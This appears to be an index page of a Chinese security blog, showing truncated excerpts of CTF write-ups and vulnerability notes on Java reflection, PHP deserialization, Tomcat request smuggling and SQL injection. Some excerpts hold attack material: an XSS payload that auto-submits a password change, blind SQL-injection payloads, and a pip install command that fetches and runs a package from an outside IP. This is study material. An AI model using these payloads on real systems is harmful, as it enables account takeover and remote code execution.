JavaSec 基础篇笔记
[toc] Java 反射机制java安全可以从反序列化说起,而反序列化漏洞又可以从反射说起, Java 的反射机制是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法;并且对于任意一个对象,都能够调用它的任意一个方法;这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。 反射是大多数语言里都必不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过”反射”,我们可以将Java这种静态语言附加上动态特性。 ReferenceJava 序列化和反序列化Java...
profile-picture(每周一题)
本题是一个简单的php应用,我们传入一个图片的url,然后会把读到的内容写入uuid.png,我们访问这个图片即可看到内容 [toc] vulnerability注意此处file_get_contents参数可控,可以用各种伪协议读本地的文件,这个题目的目标也就是达到任意文件读,但是本题在把内容写入时会使用getimagesize对读到的内容进行检查,需要是图片才能写入(检查文件头) 显然我们不能保证想读的文件都是图片形式的文件头,所以这里需要我们用php的filter来进行bypass,我们只需要将读到的内容经过某种编码,使得最终的文件头是图片形式即可,我们得到编码后的内容,再把filter反着写一遍就可以解密 环境搭建Ubuntu 20.04 Apache/2.4.43 PHP/7.4.32 12345678910111213141516171819202122232425//index.php<h1>Update profile picture</h1><?php$user_uuid =...
Tomcat请求走私漏洞分析
[toc] CVE-2022-42252 Apache Tomcat - Request Smuggling漏洞描述Apache Tomcat 是一个 Java Web 应用程序服务器。 在 tomcat 中,如果设置 rejectIllegalHeader 为 false(不是默认值)用来忽略无效的 HTTP 头或者在反向代理配置 Tomcat,那么 Tomcat 不会拒绝包含无效内容长度 HTTP 头的请求,攻击者可能利用此漏洞造成请求走私。 123Description:If Tomcat was configured to ignore invalid HTTP headers via settingrejectIllegalHeader to false (the default for 8.5.x only), Tomcat did not reject a request containing an invalid Content-Length header making a request smuggling attack possible if Tomcat...
SameSiteConfusion(每周一题)
直接xss 123456document.body.innerHTML='<form action="http://192.168.145.1:3000/change_pass" method="POST"><input name="pass" value="22"/><input id=changePass type="submit" value="Submit request" /></form><img src=x onerror=window.changePass.click()>'document.body.innerHTML='<form action="http://192.168.145.1:3000/change_pass" method="POST"><input...
SecureBank(每周一题)
题目是一个简单的转账系统,只有两个路由,一个是转账,一个是确认转账,在转账后会用uuid生成一个单号,以这个单号为参数就可以确认这笔转账 vulnerability漏洞发生在确认转账的地方,如果我们能得知转账的uuid就可以确认任意的转账,而本题所用的guid为v1 A GUID v1 consists of: The current time 当前日期和时间,UUID的第一个部分与时间有关,如果你在生成一个UUID之后,过几秒又生成一个UUID,则第一个部分不同,其余相同。 Node ID Based on system’s MAC address 全局唯一的IEEE机器识别号,如果有网卡,从网卡MAC地址获得,没有网卡以其他方式获得。 Clock sequence Remains constant during uptime...
利用pip install进行RCE
pip是python的包管理系统,类似于npm, apt, homebrew等,当使用pip install安装需要的软件包时,会下载服务器上的项目文件并执行setup.py 比如执行以下命令会直接弹出计算器 1pip3 install http://39.107.138.71/calc.png 正常的图片中隐藏了一个压缩包,而这个压缩包就是python包项目文件,其中的setup在执行就会执行任意命令
ByteCTF 2021 复现
Proxy代理服务器为apache 2.4.48,且开启了mod_proxy来进行反向代理,存在ssrf漏洞,可以用ssrf访问一下internal容器 配置文件中,disablereuse=On,不会让代理复用 Python requests库2.25.1及以下版本在处理302跳转时会带着proxy验证头 解码可以拿到代理用户名密码 A-ginx
insert语句的sql注入
Really Easy SQL提示钓鱼网站,猜测为insert注入,后端语句构造应该类似如下 1insert into user values('$username','$password'); 可以时间盲注 1insert into user values('1','1'),(if(2>1,benchmark(2000000,md5(1)),2),'2'); 过滤了空格,substr,sleep,写个exp 12345678910111213141516171819202122232425262728293031323334353637383940414243444546import requestsimport timeurl = 'http://a2ebcc4b-dd75-421d-be99-9bbd79fea09f.node4.buuoj.cn:81/'def test(): payload =...
PharPOP复现
[toc] 源码复现一道php反序列化题目,题目给出源码 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081<?phphighlight_file(__FILE__);function waf($data){ if (is_array($data)){ die("Cannot transfer arrays"); } if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) { die("You can't do"); ...
PHP反序列化总结
转自 Y4tacker’s Blog [toc] PHP反序列化这一篇就够了简介序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。 在网上找到一个比较形象的例子 比如:现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。 php 将数据序列化和反序列化会用到两个函数 serialize 将对象格式化成有序的字符串 unserialize...